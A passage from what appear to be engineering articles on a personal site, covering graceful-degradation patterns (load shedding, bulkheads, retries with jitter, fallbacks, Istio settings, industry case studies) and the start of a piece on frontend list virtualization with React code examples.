| Low      | 60%                      | Batch jobs, reports, prefetching   |

**Real-world example: Shopify**

Shopify handles 100x traffic spikes during flash sales by shedding non-essential features:

- **Always preserved**: Checkout, payment processing, order confirmation
- **Shed early**: Product recommendations, recently viewed, wish lists
- **Shed under load**: Search suggestions, inventory counts, shipping estimates

> "Our pod model means each merchant's traffic is isolated. But within a pod, we have explicit rules: checkout never degrades. Everything else can pause." — Shopify Engineering

**Real-world example: Google GFE**

Google's Global Front End (GFE) implements multi-tier admission control:

1. **Connection limits**: Cap TCP connections per client IP
2. **Request rate limits**: Per-user and per-API quotas
3. **Priority queues**: Critical traffic bypasses congestion
4. **Adaptive shedding**: Increase rejection rate as CPU approaches saturation

Google SRE recommends:

- **Per-request retry cap**: Maximum 3 attempts
- **Per-client retry budget**: Keep retries under 10% of normal traffic

**Trade-offs:**

| Aspect                | Load Shedding            | No Shedding              |
| --------------------- | ------------------------ | ------------------------ |
| Latency under load    | Stable for admitted      | Degrades for all         |
| Throughput under load | Maintained               | Collapses                |
| User experience       | Some see errors          | All see slow             |
| Implementation        | Requires priority scheme | Simpler                  |
| Capacity planning     | Can overprovision less   | Need headroom for spikes |

### Path 3: Bulkhead Pattern

**When to choose this path:**

- Multiple independent workloads share resources
- One workload's failure shouldn't affect others
- You need blast radius containment

**Key characteristics:**

Named after ship compartments that prevent a hull breach from sinking the entire vessel, bulkheads isolate failures to affected components.

**Implementation levels:**

| Level            | Isolation Unit                    | Use Case                   |
| ---------------- | --------------------------------- | -------------------------- |
| Thread pools     | Per-dependency thread pool        | Different latency profiles |
| Connection pools | Per-service connection limits     | Database isolation         |
| Process          | Separate processes/containers     | Complete memory isolation  |
| Cell             | Independent infrastructure stacks | Regional blast radius      |

**Thread pool isolation:**

```typescript title="bulkhead.ts" collapse={1-4, 30-40}
import { Worker } from "worker_threads"
import { Queue } from "./queue"

interface BulkheadConfig {
  maxConcurrent: number // Max parallel executions
  maxWait: number // Max queue time (ms)
  name: string // For metrics/logging
}

class Bulkhead {
  private executing = 0
  private queue: Queue<() => void> = new Queue()

  async execute<T>(fn: () => Promise<T>): Promise<T> {
    if (this.executing >= this.config.maxConcurrent) {
      if (this.queue.size >= this.config.maxConcurrent) {
        throw new BulkheadFullError(`${this.config.name} bulkhead full`)
      }
      await this.waitForCapacity()
    }

    this.executing++
    try {
      return await fn()
    } finally {
      this.executing--
      this.queue.dequeue()?.()
    }
  }

  private waitForCapacity(): Promise<void> {
    return new Promise((resolve, reject) => {
      const timeout = setTimeout(() => {
        reject(new BulkheadTimeoutError(`${this.config.name} wait timeout`))
      }, this.config.maxWait)

      this.queue.enqueue(() => {
        clearTimeout(timeout)
        resolve()
      })
    })
  }
}
```

**Real-world example: AWS Cell-Based Architecture**

AWS uses cell-based architecture for blast radius containment:

![Diagram](./diagram-2.svg)

Each cell:

- Handles a subset of customers (often by customer ID hash)
- Has independent database, cache, and service instances
- Shares no state with other cells
- Can fail without affecting other cells

**Real-world example: Shopify Pod Model**

Shopify isolates each merchant into a "pod"—a fully independent slice with its own:

- MySQL primary and replicas
- Redis cluster
- Memcached nodes
- Background job workers

A pod failure affects only merchants in that pod, not the entire platform.

**Trade-offs:**

| Aspect                 | Bulkhead               | Shared Resources |
| ---------------------- | ---------------------- | ---------------- |
| Resource efficiency    | Lower (duplication)    | Higher           |
| Blast radius           | Contained              | System-wide      |
| Operational complexity | Higher (more units)    | Lower            |
| Cost                   | Higher                 | Lower            |
| Recovery time          | Faster (smaller scope) | Slower           |

### Path 4: Timeout and Retry Strategy

**When to choose this path:**

- Failures are transient (network blips, temporary overload)
- Idempotent operations (safe to retry)
- Acceptable latency budget for retries

**Key characteristics:**

Timeouts prevent resource exhaustion from slow dependencies. Retries handle transient failures. Combined poorly, they create retry storms. Combined well, they provide resilience without amplification.

**Timeout configuration:**

Start with P99.9 latency plus 20-30% buffer:

| Metric        | Value | Timeout            |
| ------------- | ----- | ------------------ |
| P50 latency   | 20ms  | —                  |
| P90 latency   | 80ms  | —                  |
| P99 latency   | 300ms | —                  |
| P99.9 latency | 800ms | 1000ms (800 + 25%) |

**Retry with exponential backoff and jitter:**

```typescript title="retry.ts" collapse={1-2, 25-35}
interface RetryConfig {
  maxAttempts: number // Total attempts (including first)
  baseDelay: number // Initial delay (ms)
  maxDelay: number // Cap on delay (ms)
  jitterFactor: number // 0-1, randomness factor
}

async function retryWithBackoff<T>(fn: () => Promise<T>, config: RetryConfig): Promise<T> {
  let lastError: Error

  for (let attempt = 0; attempt < config.maxAttempts; attempt++) {
    try {
      return await fn()
    } catch (error) {
      lastError = error
      if (attempt < config.maxAttempts - 1) {
        const delay = calculateDelay(attempt, config)
        await sleep(delay)
      }
    }
  }

  throw lastError
}

function calculateDelay(attempt: number, config: RetryConfig): number {
  // Exponential: baseDelay * 2^attempt
  const exponential = config.baseDelay * Math.pow(2, attempt)
  // Cap at maxDelay
  const capped = Math.min(exponential, config.maxDelay)
  // Add jitter: multiply by random factor between (1 - jitter) and (1 + jitter)
  const jitter = 1 + (Math.random() * 2 - 1) * config.jitterFactor
  return Math.floor(capped * jitter)
}
```

**Why jitter matters:**

Without jitter, all clients retry at the same intervals, creating synchronized spikes:

```
Time:     0s    1s    2s    4s    8s
Client A: X     R     R     R     R
Client B: X     R     R     R     R
Client C: X     R     R     R     R
          ↓     ↓     ↓     ↓     ↓
Load:     3     3     3     3     3  (spikes)
```

With jitter, retries spread across time:

```
Time:     0s    1s    2s    3s    4s    5s
Client A: X     R           R
Client B: X           R              R
Client C: X        R              R
          ↓     ↓  ↓  ↓     ↓     ↓  ↓
Load:     3     1  1  1     1     1  1  (distributed)
```

**Jitter the first request too:**

Sophie Bits (Cloudflare) notes that even the first request needs jitter when many clients start simultaneously (deployment, recovery):

```typescript
// Before making the first request
await sleep(Math.random() * initialJitterWindow)
```

**Retry budgets (Google SRE approach):**

Instead of per-request retry limits, track retries as a percentage of traffic:

```typescript title="retry-budget.ts" collapse={1-3}
class RetryBudget {
  private requestCount = 0
  private retryCount = 0
  private readonly budgetPercent = 0.1 // 10% of traffic

  canRetry(): boolean {
    // Allow retry only if retries are under budget
    return this.retryCount < this.requestCount * this.budgetPercent
  }

  recordRequest(): void {
    this.requestCount++
  }

  recordRetry(): void {
    this.retryCount++
  }

  // Reset counters periodically (e.g., every minute)
  reset(): void {
    this.requestCount = 0
    this.retryCount = 0
  }
}
```

**Production configuration:**

| Parameter     | Value  | Rationale                    |
| ------------- | ------ | ---------------------------- |
| Max attempts  | 3      | Diminishing returns beyond 3 |
| Base delay    | 100ms  | Fast enough for user-facing  |
| Max delay     | 30-60s | Prevent indefinite waits     |
| Jitter factor | 0.5    | 50% randomness spreads load  |
| Retry budget  | 10%    | Caps amplification           |

**Trade-offs:**

| Aspect                     | Aggressive Retries | Conservative Retries |
| -------------------------- | ------------------ | -------------------- |
| Transient failure recovery | Better             | Worse                |
| Amplification risk         | Higher             | Lower                |
| User-perceived latency     | Variable           | Predictable          |
| Resource consumption       | Higher             | Lower                |

### Path 5: Fallback Strategies

**When to choose this path:**

- Some response is better than no response
- Acceptable to serve stale or simplified data
- Clear degradation hierarchy defined

**Key characteristics:**

Fallbacks define what to return when the primary path fails. The hierarchy typically follows: fresh data → cached data → default data → error.

**Fallback hierarchy:**

```typescript title="fallback-chain.ts" collapse={1-4, 35-50}
interface FallbackChain<T> {
  primary: () => Promise<T>
  fallbacks: Array<{
    name: string
    fn: () => Promise<T>
    condition?: (error: Error) => boolean
  }>
  default: T
}

async function executeWithFallbacks<T>(chain: FallbackChain<T>): Promise<{
  result: T
  source: string
  degraded: boolean
}> {
  // Try primary
  try {
    return { result: await chain.primary(), source: "primary", degraded: false }
  } catch (primaryError) {
    // Try fallbacks in order
    for (const fallback of chain.fallbacks) {
      if (fallback.condition && !fallback.condition(primaryError)) {
        continue
      }
      try {
        const result = await fallback.fn()
        return { result, source: fallback.name, degraded: true }
      } catch {
        // Continue to next fallback
      }
    }
    // All fallbacks failed, return default
    return { result: chain.default, source: "default", degraded: true }
  }
}

// Usage example
const productChain: FallbackChain<Product> = {
  primary: () => productService.getProduct(id),
  fallbacks: [
    { name: "cache", fn: () => cache.get(`product:${id}`) },
    { name: "cdn", fn: () => cdnCache.getProduct(id) },
  ],
  default: { id, name: "Product Unavailable", price: null },
}
```

**Common fallback patterns:**

| Pattern             | Use Case                     | Trade-off               |
| ------------------- | ---------------------------- | ----------------------- |
| Cached data         | Read-heavy workloads         | Staleness               |
| Default values      | Configuration, feature flags | Loss of personalization |
| Simplified response | Complex aggregations         | Incomplete data         |
| Read-only mode      | Write path failures          | No updates              |
| Static content      | Complete backend failure     | No dynamic data         |

**Real-world example: Netflix Recommendations**

When Netflix's recommendation service is slow or unavailable:

1. **Primary**: Personalized recommendations from ML pipeline
2. **Fallback 1**: Cached recommendations (updated hourly)
3. **Fallback 2**: Popular content in user's region
4. **Fallback 3**: Globally popular content
5. **Default**: Static "Trending Now" list

The UI doesn't change—users see recommendations regardless of which tier served them.

**Real-world example: Feature Flag Fallbacks**

PostHog improved feature flag resilience by implementing local evaluation:

- **Primary**: Real-time flag evaluation via API (500ms latency)
- **Fallback**: Local evaluation with cached definitions (10-20ms)
- **Default**: Hard-coded default values

Result: Flags work even if PostHog's servers are unreachable.

**Trade-offs:**

| Aspect                    | Rich Fallbacks      | Simple Fallbacks  |
| ------------------------- | ------------------- | ----------------- |
| User experience           | Better degraded UX  | Worse degraded UX |
| Implementation complexity | Higher              | Lower             |
| Testing burden            | Higher (more paths) | Lower             |
| Cache infrastructure      | Required            | Optional          |
| Staleness risk            | Higher              | Lower             |

### Decision Framework

![Diagram](./diagram-3.svg)

## Production Implementations

### Netflix: Resilience Library Evolution

**Context:** Netflix serves 200M+ subscribers with hundreds of microservices. A single page load touches dozens of services.

**Implementation evolution:**

1. **2011-2012**: Hystrix developed internally
2. **2012**: Hystrix open-sourced, became industry standard
3. **2018**: Hystrix enters maintenance mode
4. **2019+**: Resilience4j recommended for new projects

**Why the transition?**

Hystrix was designed for Java 6/7 with thread pool isolation as the primary mechanism. Resilience4j uses:

- Java 8 functional composition
- Lighter weight (only Vavr dependency)
- Composable decorators (stack circuit breaker + rate limiter + retry)
- Better metrics integration

**Key learnings from Netflix:**

> "Invest more in making your primary code reliable than in building elaborate fallbacks. A fallback you've never tested in production is a fallback that doesn't work."

**Specific metrics:**

- Hystrix processed tens of billions of thread-isolated calls daily
- Hundreds of billions of semaphore-isolated calls daily
- Circuit breaker trip rate: target < 0.1% during normal operation

### AWS: Cell-Based Architecture

**Context:** AWS services must maintain regional isolation—a failure in us-east-1 shouldn't affect eu-west-1.

**Implementation:**

- Each cell is an independent stack (compute, storage, networking)
- Cells share no state; each has own database
- Shuffle sharding maps customers to multiple cells, minimizing correlated failures
- Global routing layer directs traffic to healthy cells

**Configuration:**

- Cell size: 1-5% of total capacity per cell
- Minimum cells: 3 per region for redundancy
- Health check interval: 5-10 seconds
- Failover time: < 60 seconds

**Results:**

- Blast radius limited to cell size (1-5% of customers)
- Regional failures don't cascade globally
- Recovery is cell-by-cell, not all-or-nothing

### Slack: CI/CD Circuit Breakers

**Context:** Slack's CI/CD pipeline had cascading failures between systems, causing developer frustration.

**Implementation:**

Slack's Checkpoint system implements orchestration-level circuit breakers:

1. **Metrics collection**: Error rates, latency percentiles, queue depths
2. **Awareness phase**: Alert teams when error rates rise (before tripping)
3. **Trip decision**: Automated trip when thresholds exceeded
4. **Recovery**: Gradual traffic increase after manual verification

**Results (since 2020):**

- No cascading failures between CI/CD systems
- Increased service availability
- Fewer flaky developer experiences

> "The key insight was sharing visibility _before_ opening the circuit. Teams get a heads-up that their system is approaching the threshold, often fixing issues before the breaker trips."

### Shopify: Pod-Based Isolation

**Context:** Shopify handles 30TB+ data per minute during peak sales, with 100x traffic spikes.

**Implementation:**

- **Pod model**: Each merchant assigned to a pod
- **Pod contents**: Dedicated MySQL, Redis, Memcached, workers
- **Graceful degradation rules**:
  - Checkout: Never degrades
  - Cart: Degrades last
  - Recommendations: First to shed
  - Inventory counts: Can show stale data

**Tools:**

- **Toxiproxy**: Simulates network failures before production
- **Packwerk**: Enforces module boundaries in monolith

**Results:**

- Flash sales handled without checkout degradation
- Merchant isolation prevents noisy neighbor problems
- Predictable performance under load

### Discord: Backpressure and Coalescing

**Context:** Discord handles 1M+ push requests per minute with extreme traffic spikes during gaming events.

**Implementation:**

- **GenStage (Elixir)**: Built-in backpressure for message processing
- **Request coalescing**: Deduplicate identical requests in Rust services
- **Consistent hash routing**: Same requests route to same servers, improving deduplication

**Results:**

- Eliminated hot partitions
- Stable latencies during 100x spikes
- Fewer on-call emergencies

## Implementation Guide

### Starting Point Decision

![Diagram](./diagram-4.svg)

### Library Options

| Library       | Language     | Patterns                         | Maturity   | Notes                        |
| ------------- | ------------ | -------------------------------- | ---------- | ---------------------------- |
| Resilience4j  | Java/Kotlin  | CB, Retry, Bulkhead, RateLimiter | Production | Netflix recommended          |
| Polly         | .NET         | CB, Retry, Timeout, Bulkhead     | Production | Extensive policy composition |
| opossum       | Node.js      | Circuit Breaker                  | Production | Simple, well-tested          |
| cockatiel     | Node.js      | CB, Retry, Timeout, Bulkhead     | Production | TypeScript-first             |
| go-resiliency | Go           | CB, Retry, Semaphore             | Production | Simple, idiomatic Go         |
| Istio         | Service Mesh | CB, Retry, Timeout               | Production | No code changes, YAML config |

### Service Mesh Configuration (Istio)

```yaml title="istio-destination-rule.yaml"
apiVersion: networking.istio.io/v1beta1
kind: DestinationRule
metadata:
  name: user-service
spec:
  host: user-service
  trafficPolicy:
    connectionPool:
      tcp:
        maxConnections: 100
      http:
        h2UpgradePolicy: UPGRADE
        http1MaxPendingRequests: 100
        http2MaxRequests: 1000
    outlierDetection:
      consecutive5xxErrors: 5
      interval: 30s
      baseEjectionTime: 30s
      maxEjectionPercent: 50
```

```yaml title="istio-virtual-service.yaml" collapse={1-8}
apiVersion: networking.istio.io/v1beta1
kind: VirtualService
metadata:
  name: user-service
spec:
  hosts:
    - user-service
  http:
    - route:
        - destination:
            host: user-service
      timeout: 5s
      retries:
        attempts: 3
        perTryTimeout: 2s
        retryOn: 5xx,reset,connect-failure
```

### Implementation Checklist

- [ ] **Define degradation hierarchy**: Document each level and its trade-offs
- [ ] **Identify critical paths**: Which features must never degrade?
- [ ] **Set timeout SLOs**: Based on P99.9 + buffer, not arbitrary values
- [ ] **Configure circuit breakers**: Tune thresholds for your traffic patterns
- [ ] **Implement fallbacks**: Test that they actually work under failure
- [ ] **Add retry budgets**: Prevent amplification (< 10% of traffic)
- [ ] **Instrument everything**: Metrics for each degradation level
- [ ] **Test failure modes**: Chaos engineering before production incidents
- [ ] **Document recovery procedures**: How to verify system is healthy

## Common Pitfalls

### 1. Untested Fallbacks

**The mistake:** Building fallback paths that are never exercised in production.

**Example:** A team builds an elaborate cache fallback for their user service. In production, the cache is always warm, so the fallback code path is never executed. When the cache fails during an incident, the fallback has a bug that causes a null pointer exception.

**Solutions:**

- Chaos engineering: Regularly fail dependencies in production
- Fallback testing: Exercise fallback paths in staging/canary
- Synthetic monitoring: Periodically call fallback paths directly

### 2. Synchronous Retry Storms

**The mistake:** Retrying immediately without backoff or jitter.

**Example:** A service has 10,000 clients. The database has a 1-second outage. Without jitter, all 10,000 clients retry at exactly 1 second, then 2 seconds, then 4 seconds—creating synchronized spikes that prevent recovery.

**Solutions:**

- Always use exponential backoff with jitter
- Implement retry budgets (< 10% of traffic)
- Jitter the first request after deployment/restart

### 3. Circuit Breaker Thrashing

**The mistake:** Circuit breaker opens and closes rapidly, worse than no breaker.

**Example:** A circuit breaker with `failureThreshold=2` and `successThreshold=1` trips after two failures, closes after one success, trips again immediately. The constant state changes create overhead without providing stability.

**Solutions:**

- Increase `minimumNumberOfCalls` (at least 5-10)
- Use sliding window for failure rate, not raw counts
- Extend `waitDurationInOpenState` to allow real recovery
- Require multiple successes in half-open state

### 4. Stale Data Without Indication

**The mistake:** Serving cached data without indicating staleness to users.

**Example:** A stock trading app falls back to cached prices during an outage. Users see prices from 30 minutes ago but think they're current, making trades based on stale data.

**Solutions:**

- Show "as of" timestamps prominently
- Visual indicators for degraded state (yellow banner, icon)
- Disable actions that require fresh data (trading, purchasing)
- Set TTL limits on how stale data can be served

### 5. Missing Bulkheads

**The mistake:** Sharing thread pools/connection pools across all dependencies.

**Example:** Service A has 100 threads. Dependency B becomes slow (10s response time). All 100 threads block on B. Dependency C (healthy) becomes unreachable because no threads are available—a slow dependency causes total failure.

**Solutions:**

- Separate thread pools per dependency
- Connection pool limits per downstream service
- Semaphore isolation for fast dependencies
- Thread pool isolation for slow/risky dependencies

### 6. Load Shedding Without Priority

**The mistake:** Shedding requests randomly instead of by priority.

**Example:** Under load, a checkout service sheds 50% of requests randomly. Half of payment confirmations are lost, causing customer support incidents. Meanwhile, prefetch requests for thumbnails continue consuming capacity.

**Solutions:**

- Define priority tiers (critical, high, medium, low)
- Shed lowest priority first
- Never shed critical paths (payments, health checks)
- Tag requests with priority at entry point

## Conclusion

Graceful degradation is not a single pattern but a discipline: designing systems with explicit failure modes, testing those modes regularly, and accepting that partial functionality serves users better than complete outages.

The most resilient systems share these characteristics:

- **Degradation hierarchy is documented**: Teams know exactly what fails first and what never fails
- **Fallbacks are tested**: Chaos engineering proves fallbacks work before incidents
- **Amplification is controlled**: Retry budgets and jitter prevent self-inflicted outages
- **Blast radius is contained**: Bulkheads ensure one failure doesn't become total failure

Start simple—timeouts and circuit breakers cover most cases. Add complexity (load shedding, cell architecture) only when scale demands it.

## Appendix

### Prerequisites

- Distributed systems fundamentals (network partitions, CAP theorem)
- Service-oriented architecture concepts
- Basic understanding of observability (metrics, traces, logs)

### Terminology

- **Blast Radius**: The scope of impact when a component fails—smaller is better
- **Bulkhead**: Isolation boundary preventing failures from spreading
- **Circuit Breaker**: Pattern that stops calling a failing dependency after threshold exceeded
- **Degradation Hierarchy**: Ordered list of fallback behaviors from full to minimal functionality
- **Jitter**: Random variation added to timing to prevent synchronized behavior
- **Load Shedding**: Rejecting excess requests to maintain latency for admitted requests
- **Retry Budget**: Cap on retries as percentage of normal traffic (typically 10%)
- **Thundering Herd**: Many clients simultaneously retrying or reconnecting after an outage

### Summary

- Graceful degradation defines explicit intermediate states between healthy and failed, with documented trade-offs at each level
- Circuit breakers prevent cascade failures by stopping calls to failing dependencies; tune thresholds based on traffic patterns, not defaults
- Load shedding protects capacity by rejecting low-priority work early; define priority tiers and never shed critical paths
- Bulkheads contain blast radius through isolation (thread pools, cells, pods); the trade-off is resource duplication
- Retries need exponential backoff with jitter plus retry budgets (< 10%) to prevent amplification
- Fallbacks must be tested regularly through chaos engineering—untested fallbacks don't work when needed

### References

**Foundational Resources:**

- [AWS Well-Architected Framework: Reliability Pillar](https://docs.aws.amazon.com/wellarchitected/latest/reliability-pillar/welcome.html) - Graceful degradation best practices
- [Google SRE Book: Handling Overload](https://sre.google/sre-book/handling-overload/) - Load shedding and admission control
- [Release It! Second Edition](https://pragprog.com/titles/mnee2/release-it-second-edition/) by Michael Nygard - Stability patterns including circuit breakers and bulkheads

**Pattern Implementations:**

- [Netflix Tech Blog: Introducing Hystrix](http://techblog.netflix.com/2012/11/hystrix.html) - Original circuit breaker at scale
- [Resilience4j Documentation](https://resilience4j.readme.io/docs/circuitbreaker) - Modern resilience library
- [AWS Builders' Library: Using Load Shedding](https://aws.amazon.com/builders-library/using-load-shedding-to-avoid-overload/) - Server-side admission control
- [AWS Builders' Library: Timeouts, Retries, and Backoff with Jitter](https://aws.amazon.com/builders-library/timeouts-retries-and-backoff-with-jitter/) - Retry strategy design

**Production Case Studies:**

- [Slack Engineering: Circuit Breakers for CI/CD](https://slack.engineering/circuit-breakers/) - Orchestration-level resilience
- [Discord: How Discord Stores Trillions of Messages](https://discord.com/blog/how-discord-stores-trillions-of-messages) - Backpressure and coalescing
- [AWS: Cell-Based Architecture](https://docs.aws.amazon.com/wellarchitected/latest/reducing-scope-of-impact-with-cell-based-architecture/what-is-a-cell-based-architecture.html) - Blast radius containment

**Failure Analysis:**

- [Microsoft Azure: Retry Storm Antipattern](https://learn.microsoft.com/en-us/azure/architecture/antipatterns/retry-storm/) - Retry amplification
- [Encore: Thundering Herd Problem](https://encore.dev/blog/thundering-herd-problem) - Recovery coordination
- [InfoQ: Anatomy of a Cascading Failure](https://www.infoq.com/articles/anatomy-cascading-failure/) - Failure propagation mechanisms

---

## Virtualization and Windowing

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/frontend-system-design/virtualization-and-windowing
**Category:** System Design / Frontend System Design
**Description:** Rendering large lists (1,000+ items) without virtualization creates a DOM tree so large that layout calculations alone can block the main thread for hundreds of milliseconds. Virtualization solves this by rendering only visible items plus a small buffer, keeping DOM node count constant regardless of list size. The trade-off: implementation complexity for consistent O(viewport) rendering performance.

# Virtualization and Windowing

Rendering large lists (1,000+ items) without virtualization creates a DOM tree so large that layout calculations alone can block the main thread for hundreds of milliseconds. Virtualization solves this by rendering only visible items plus a small buffer, keeping DOM node count constant regardless of list size. The trade-off: implementation complexity for consistent O(viewport) rendering performance.

<figure>

![Virtualization trades algorithmic complexity for constant DOM size, keeping frame times under the 16ms budget.](./virtualization-trades-algorithmic-complexity-for-constant-dom-size-keeping-frame.svg)

<figcaption>Virtualization trades algorithmic complexity for constant DOM size, keeping frame times under the 16ms budget.</figcaption>
</figure>

## Abstract

Virtualization is a **viewport-centric rendering strategy**: calculate which items are visible, render only those plus a buffer (overscan), and position them using GPU-accelerated transforms. The core insight is that users can only see viewport-sized content at any moment—rendering everything else is wasted work.

Three implementation approaches exist:

1. **Fixed-height**: Pure math-based positioning when all items are identical height. Simplest, fastest, but rarely applicable to real content.
2. **Variable-height**: Measure items as they render, cache heights, estimate unmeasured items. Production standard for dynamic content.
3. **DOM recycling**: Reuse DOM nodes as items scroll out, updating content rather than creating/destroying elements.

Critical constraints shape the design:

- **Frame budget**: 16ms per frame for 60fps, ~12ms after browser overhead
- **Transform positioning**: GPU-accelerated `translateY()` vs layout-triggering `top`
- **Measurement APIs**: ResizeObserver for heights, IntersectionObserver for visibility
- **Accessibility**: Screen readers require ARIA live regions; keyboard navigation requires focus management

A newer alternative, CSS `content-visibility: auto`, defers rendering while keeping full DOM—enabling browser find-in-page and anchor links that virtualization breaks.

## The Challenge

### Browser Constraints

The browser's rendering pipeline processes elements sequentially:

1. **Style** - Match CSS rules to elements
2. **Layout** - Calculate element geometry (expensive, proportional to DOM size)
3. **Paint** - Fill pixels for colors, text, shadows
4. **Composite** - Assemble layers, apply GPU transforms

Layout is the bottleneck. As documented in Chrome DevTools performance analysis, layout time scales with DOM size because the engine must resolve every element's position relative to its ancestors and siblings.

**Main thread budget**: At 60fps, each frame has 16ms total. The browser consumes ~4ms for its own work, leaving 10-12ms for JavaScript execution, style recalculation, and layout combined. A single layout pass on 1,000 elements can exceed this entirely.

**Memory pressure**: Each DOM node consumes memory for its JavaScript wrapper, style data, and layout information. On low-end mobile devices with 50-100MB practical limits, 10,000+ nodes can trigger garbage collection pauses or crashes.

### When Virtualization Becomes Necessary

| Item Count | Without Virtualization                   | With Virtualization |
| ---------- | ---------------------------------------- | ------------------- |
| 50-100     | Acceptable on desktop, measure on mobile | Optional            |
| 500+       | Noticeable jank on scroll                | Recommended         |
| 1,000+     | Severe degradation, blocked frames       | Required            |
| 10,000+    | Unusable                                 | Only viable path    |

### User Experience Requirements

- **Perceived smoothness**: Scroll must feel native (60fps, no jumps)
- **Instant response**: Arrow key navigation, click handling under 100ms
- **Scroll position stability**: Jumping to arbitrary positions via scrollbar must work
- **Find-in-page**: Users expect Cmd/Ctrl+F to search all content (virtualization breaks this)

## Design Paths

### Path 1: Fixed-Height Virtualization

**How it works:**

When all items share identical height, positioning is pure arithmetic—no measurement required.

```typescript title="fixed-height-virtualizer.ts" collapse={1-3,29-35}
import { useState, useCallback } from 'react';

interface FixedVirtualizerProps<T> {
  items: T[];
  itemHeight: number;
  containerHeight: number;
  overscan?: number;
  renderItem: (item: T, index: number) => React.ReactNode;
}

function FixedVirtualizer<T>({
  items,
  itemHeight,
  containerHeight,
  overscan = 3,
  renderItem,
}: FixedVirtualizerProps<T>) {
  const [scrollTop, setScrollTop] = useState(0);

  // Calculate visible range using arithmetic only
  const startIndex = Math.max(0, Math.floor(scrollTop / itemHeight) - overscan);
  const endIndex = Math.min(
    items.length,
    Math.ceil((scrollTop + containerHeight) / itemHeight) + overscan
  );

  const visibleItems = items.slice(startIndex, endIndex);
  const offsetY = startIndex * itemHeight;
  const totalHeight = items.length * itemHeight;

  const handleScroll = useCallback((e: React.UIEvent<HTMLDivElement>) => {
    setScrollTop(e.currentTarget.scrollTop);
  }, []);

  return (
    <div style={{ height: containerHeight, overflow: 'auto' }} onScroll={handleScroll}>
      <div style={{ height: totalHeight, position: 'relative' }}>
        <div style={{ transform: `translateY(${offsetY}px)` }}>
          {visibleItems.map((item, i) => (
            <div key={startIndex + i} style={{ height: itemHeight }}>
              {renderItem(item, startIndex + i)}
            </div>
          ))}
        </div>
      </div>
    </div>
  );
}
```

**Why `transform` instead of `top`:**

- `transform: translateY()` is compositor-only—GPU handles it without triggering layout
- `top` or `margin-top` triggers full layout recalculation on every scroll frame
- This single choice can be the difference between 60fps and 15fps scrolling

**Performance characteristics:**

| Metric                    | Value                           |
| ------------------------- | ------------------------------- |
| DOM nodes                 | O(viewport) — typically 20-50   |
| Layout time               | 1-3ms per frame                 |
| Memory                    | O(viewport) — no caching needed |
| Scroll performance        | Consistent 60fps                |
| Implementation complexity | Low                             |

**Best for:**

- Log viewers with monospace text
- Simple data tables with uniform rows
- Chat applications with text-only messages
- Any list where enforcing fixed height is acceptable

**Trade-offs:**

- ✅ Simplest implementation, smallest bundle contribution
- ✅ Predictable performance—pure math, no measurement
- ✅ No height cache memory overhead
- ❌ Real content (images, variable text, expandable sections) rarely fits
- ❌ Forces design constraints on UI

**Real-world example:**

VS Code's minimap uses fixed-height line rendering. Each line is represented at a consistent pixel height regardless of content wrapping in the main editor. This enables sub-millisecond position calculations for files with 100K+ lines.

### Path 2: Variable-Height Virtualization

**How it works:**

Items are measured as they render using ResizeObserver. A height cache stores measurements indexed by item. Unmeasured items use an estimated height.

```typescript title="variable-height-virtualizer.ts" collapse={1-5,60-80}
import { useState, useEffect, useRef, useCallback } from "react"

interface VariableVirtualizerProps<T> {
  items: T[]
  estimatedItemHeight: number
  containerHeight: number
  overscan?: number
  renderItem: (item: T, index: number, measureRef: (el: HTMLElement | null) => void) => React.ReactNode
}

function VariableVirtualizer<T>({
  items,
  estimatedItemHeight,
  containerHeight,
  overscan = 3,
  renderItem,
}: VariableVirtualizerProps<T>) {
  const [scrollTop, setScrollTop] = useState(0)
  const [heightCache, setHeightCache] = useState<Map<number, number>>(new Map())

  // Calculate positions with measured or estimated heights
  const getItemOffset = (index: number): number => {
    let offset = 0
    for (let i = 0; i < index; i++) {
      offset += heightCache.get(i) ?? estimatedItemHeight
    }
    return offset
  }

  // Binary search to find start index from scroll position
  const findStartIndex = (scrollPos: number): number => {
    let low = 0,
      high = items.length - 1
    while (low < high) {
      const mid = Math.floor((low + high) / 2)
      if (getItemOffset(mid + 1) <= scrollPos) {
        low = mid + 1
      } else {
        high = mid
      }
    }
    return Math.max(0, low - overscan)
  }

  const startIndex = findStartIndex(scrollTop)

  // Find end index by accumulating heights until we exceed viewport
  let endIndex = startIndex
  let accumulatedHeight = 0
  while (endIndex < items.length && accumulatedHeight < containerHeight + overscan * estimatedItemHeight) {
    accumulatedHeight += heightCache.get(endIndex) ?? estimatedItemHeight
    endIndex++
  }
  endIndex = Math.min(items.length, endIndex + overscan)

  const totalHeight = getItemOffset(items.length)
  const offsetY = getItemOffset(startIndex)

  // Measure items as they render
  const measureElement = useCallback(
    (index: number) => (el: HTMLElement | null) => {
      if (el) {
        const observer = new ResizeObserver(([entry]) => {
          const height = entry.contentRect.height
          setHeightCache((prev) => {
            if (prev.get(index) === height) return prev
            const next = new Map(prev)
            next.set(index, height)
            return next
          })
        })
        observer.observe(el)
        return () => observer.disconnect()
      }
    },
    [],
  )

  // ... scroll handler and render logic
}
```

**The estimation problem:**

When users drag the scrollbar to an arbitrary position, the virtualizer must render items that haven't been measured. Initial render uses estimates, which may be wrong—causing a visible "jump" as measurements arrive and positions correct.

**Mitigation strategies:**

1. **Running average**: Track average measured height, use for estimates
2. **Type-based estimates**: If items have types (text, image, card), use type-specific averages
3. **Larger buffers**: Overscan more items to catch estimation errors before they're visible
4. **Progressive correction**: Animate position corrections rather than snapping

**Performance characteristics:**

| Metric                    | Value                                       |
| ------------------------- | ------------------------------------------- |
| DOM nodes                 | O(viewport) — typically 20-50               |
| Layout time               | 2-5ms (measurement overhead)                |
| Memory                    | O(n) for height cache in worst case         |
| Scroll performance        | 30-60fps depending on measurement frequency |
| Implementation complexity | High                                        |

**Best for:**

- Social media feeds with mixed content
- Chat applications with images, embeds, reactions
- Any dynamic content where height enforcement is impossible

**Trade-offs:**

- ✅ Handles real-world content naturally
- ✅ Smooth scroll with proper buffering
- ❌ Height cache grows with items scrolled through
- ❌ Scroll position jumps possible on fast scrollbar drag
- ❌ Complex implementation with many edge cases

**Real-world example:**

Twitter/X uses variable-height virtualization for the home timeline. Tweets contain text, images, videos, polls, and embedded content—all with different heights. They mitigate scroll jumps by maintaining a larger buffer in the scroll direction and using type-based height estimates (tweets with images get higher estimates).

### Path 3: DOM Recycling

**How it works:**

Instead of creating and destroying DOM elements as items enter/exit the viewport, a fixed pool of elements is reused. When an item scrolls out, its DOM node is repositioned and its content updated with the new item.

```typescript title="dom-recycling-concept.ts"
// Conceptual representation - production implementations are more complex
class DOMRecycler {
